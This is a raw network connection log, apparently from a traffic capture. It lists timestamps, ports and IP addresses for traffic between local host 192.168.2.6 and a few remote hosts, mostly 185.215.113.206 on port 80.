Oct 30, 2024 15:59:40.648587942 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648598909 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648608923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648612022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648629904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648650885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648730993 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648742914 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648753881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648772001 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648797989 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648854017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648864985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648874998 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648888111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.648905039 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648941994 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648953915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.648967981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649012089 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649036884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649049044 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649085045 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649174929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649187088 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649199963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649210930 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649219990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649228096 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649249077 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649276972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649311066 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649389982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649399042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649416924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649429083 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649440050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649451971 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649455070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649481058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649493933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649632931 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649645090 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649657011 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649672031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.649682999 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649694920 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.649709940 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.657167912 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.657257080 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.657320976 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.657767057 CET	49792	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.657780886 CET	443	49792	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.661092043 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.661124945 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.661222935 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.661452055 CET	49797	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.661468029 CET	443	49797	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.679812908 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.679850101 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.679913998 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.679966927 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.696118116 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.696118116 CET	49793	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.696137905 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.696147919 CET	443	49793	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.754884005 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.754894972 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.754956007 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.757616997 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:40.757652044 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:40.757699966 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:40.757986069 CET	49800	443	192.168.2.6	18.244.18.38
Oct 30, 2024 15:59:40.757997036 CET	443	49800	18.244.18.38	192.168.2.6
Oct 30, 2024 15:59:40.762491941 CET	49799	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.762504101 CET	443	49799	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.763664961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763675928 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763686895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763715029 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.763745070 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.763748884 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763761997 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763772964 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763784885 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763789892 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.763820887 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.763851881 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763864994 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763875961 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763885021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.763895988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.763925076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764030933 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764043093 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764055014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764070988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764081001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764092922 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764101982 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764103889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764118910 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764127016 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764142036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764170885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764209032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764220953 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764231920 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764250040 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764262915 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764282942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764286995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764298916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764307976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764321089 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764332056 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764359951 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764463902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764476061 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764487028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764498949 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764509916 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764509916 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764525890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764528036 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764555931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764579058 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764607906 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764621019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764631987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764648914 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764666080 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764735937 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764749050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764759064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764770985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764784098 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764784098 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764808893 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764822960 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764930010 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764940977 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764952898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.764976025 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.764988899 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765011072 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765022039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765032053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765043974 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765090942 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765103102 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765127897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765140057 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765151024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765161991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765167952 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765186071 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765204906 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765280962 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765292883 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765305042 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765316963 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765320063 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765330076 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765364885 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765394926 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765408039 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765439034 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765465975 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765626907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765639067 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765650034 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765661001 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765676975 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765677929 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765696049 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765705109 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765722990 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765729904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.765733957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.765769005 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.845999956 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.849610090 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.849632978 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.850128889 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.850133896 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.879156113 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879172087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879183054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879209995 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879230976 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879307985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879334927 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879354000 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879354000 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879369020 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879379988 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879384041 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879399061 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879417896 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879425049 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879453897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879488945 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879575014 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879585981 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879595995 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879623890 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879647017 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879664898 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879676104 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879682064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879687071 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879693031 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879775047 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879808903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879837990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879859924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879869938 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879879951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879887104 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879892111 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879904985 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.879908085 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879936934 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.879956007 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880095005 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880105019 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880115032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880131960 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880146980 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880157948 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880166054 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880170107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880187035 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880219936 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880244017 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880280972 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880381107 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880395889 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880405903 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880419016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880420923 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880431890 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880439997 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880444050 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880456924 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880460978 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880470037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880486965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880496979 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880798101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880810022 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880821943 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880834103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880844116 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880847931 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880856991 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880868912 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880876064 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880880117 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880892038 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880903959 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.880907059 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880919933 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.880948067 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881134987 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881154060 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881165028 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881177902 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881189108 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881196022 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881206036 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881217957 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881217957 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881231070 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881242037 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881237984 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881249905 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881262064 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881272078 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881308079 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881464958 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881477118 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881488085 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881499052 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881515026 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881546021 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881560087 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881567955 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881570101 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881583929 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881597042 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881601095 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881613016 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881623983 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881634951 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.881635904 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.881675959 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882004976 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882016897 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882028103 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882040024 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882051945 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882050037 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882066965 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882070065 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882082939 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882091999 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882102013 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882102966 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882116079 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.882131100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882131100 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.882148027 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.973598003 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.973684072 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.973763943 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.974015951 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.974029064 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.974036932 CET	49794	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.974042892 CET	443	49794	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.977010012 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.977055073 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.977206945 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.977411032 CET	49807	443	192.168.2.6	13.107.246.45
Oct 30, 2024 15:59:40.977426052 CET	443	49807	13.107.246.45	192.168.2.6
Oct 30, 2024 15:59:40.994667053 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994690895 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994703054 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994735003 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.994760990 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.994813919 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994827032 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994839907 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994853973 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.994858980 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.994884014 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.994910002 CET	49716	80	192.168.2.6	185.215.113.206
Oct 30, 2024 15:59:40.994988918 CET	80	49716	185.215.113.206	192.168.2.6
Oct 30, 2024 15:59:40.995001078 CET	80	49716	185.215.113.206	192.168.2.6
